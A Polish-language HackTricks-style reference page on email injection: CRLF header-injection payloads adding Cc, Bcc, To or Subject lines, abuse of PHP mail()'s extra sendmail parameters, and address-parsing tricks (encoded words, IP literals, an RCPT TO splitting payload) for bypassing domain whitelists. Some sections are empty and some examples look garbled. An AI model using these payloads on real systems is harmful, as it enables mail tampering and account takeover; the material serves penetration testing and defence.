# Email Injections {{#include ../banners/hacktricks-training.md}} ## Wstrzykiwanie w wysłanym e-mailu ### Wstrzykiwanie Cc i Bcc po argumencie nadawcy ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` Wiadomość zostanie wysłana do kont odbiorcy i odbiorcy1. ### Wstrzyknij argument ``` From:sender@domain.com%0ATo:attacker@domain.com ``` Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz konta atakującego. ### Wstrzykiwanie argumentu Subject ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` Fałszywy temat zostanie dodany do oryginalnego tematu, a w niektórych przypadkach go zastąpi. Zależy to od zachowania usługi pocztowej. ### Zmień treść wiadomości Wstrzyknij dwa znaki nowej linii, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ### Wykorzystanie funkcji mail() w PHP ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` #### 5. parametr ($additional_parameters) Ta sekcja będzie oparta na **tym, jak nadużyć ten parametr, zakładając, że atakujący go kontroluje**. Ten parametr zostanie dodany do linii poleceń, którą PHP użyje do wywołania binarnego sendmail. Zostanie jednak oczyszczony za pomocą funkcji `escapeshellcmd($additional_parameters)`. Atakujący może **wstrzyknąć dodatkowe parametry dla sendmail** w tym przypadku. #### Różnice w implementacji /usr/sbin/sendmail Interfejs **sendmail** jest **dostarczany przez oprogramowanie MTA do obsługi poczty** (Sendmail, Postfix, Exim itp.) zainstalowane na systemie. Chociaż **podstawowa funkcjonalność** (taka jak parametry -t -i -f) pozostaje **taka sama** z powodów zgodności, **inne funkcje i parametry** znacznie się różnią w zależności od zainstalowanego MTA. Oto kilka przykładów różnych stron podręcznika poleceń dla interfejsu sendmail: - Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html - Postfix MTA: http://www.postfix.org/mailq.1.html - Exim MTA: https://linux.die.net/man/8/eximReferences W zależności od **pochodzenia binarnego sendmail** odkryto różne opcje, aby je nadużyć i **wyciekować pliki lub nawet wykonywać dowolne polecenia**. Sprawdź jak w [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## Wstrzykiwanie w nazwie e-maila > [!CAUTION] > Zauważ, że jeśli uda ci się założyć konto w usłudze z dowolną nazwą domeny (taką jak Github, Gitlab, CloudFlare Zero trust...) i zweryfikować je, otrzymując e-mail weryfikacyjny na swój adres e-mail, możesz uzyskać dostęp do wrażliwych lokalizacji firmy ofiary. ### Ignorowane części e-maila Symbole: **+, -** i **{}** w rzadkich przypadkach mogą być używane do tagowania i są ignorowane przez większość serwerów e-mail. - Np. john.doe+intigriti@example.com → john.doe@example.com **Komentarze w nawiasach ()** na początku lub na końcu również będą ignorowane. - Np. john.doe(intigriti)@example.com → john.doe@example.com ### Ominięcie białej listy

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

### Cytaty

### IP Możesz również używać adresów IP jako nazw domenowych w nawiasach kwadratowych: - john.doe@\[127.0.0.1] - john.doe@\[IPv6:2001:db8::1] ### Kodowanie e-maili Jak wyjaśniono w [**tych badaniach**](https://portswigger.net/research/splitting-the-email-atom), nazwy e-maili mogą również zawierać zakodowane znaki: - **PHP 256 overflow**: Funkcja PHP `chr` będzie nadal dodawać 256 do znaku, aż stanie się dodatnia, a następnie wykona operację `%256`. - `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @` > [!TIP] > Celem tego triku jest zakończenie wstrzyknięciem takim jak `RCPT TO:<"collab@psres.net>collab"@example.com>`\ > co spowoduje wysłanie e-maila weryfikacyjnego na inny adres e-mail niż oczekiwany (w ten sposób wprowadza się inny adres e-mail wewnątrz nazwy e-maila i łamie składnię podczas wysyłania e-maila). Różne kodowania: ```bash # Format =? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com # =? -> Start of encode # utf-8 -> encoding used # ? -> separator # q -> type of encoding # ? -> separator # =41=42=43 -> Hex encoded data # ?= end of encoding # Other encodings, same example: # iso-8859-1 =?iso-8859-1?q?=61=62=63?=hi@example.com # utf-8 =?utf-8?q?=61=62=63?=hi@example.com # utf-7 =?utf-7?q??=hi@example.com # q encoding + utf-7 =?utf-7?q?&=41?=hi@example.com # base64 =?utf-8?b?QUJD?=hi@example.com # bas64 + utf-7 =?utf-7?q??=hi@example.com #punycode x@xn--svg/-9x6 → x@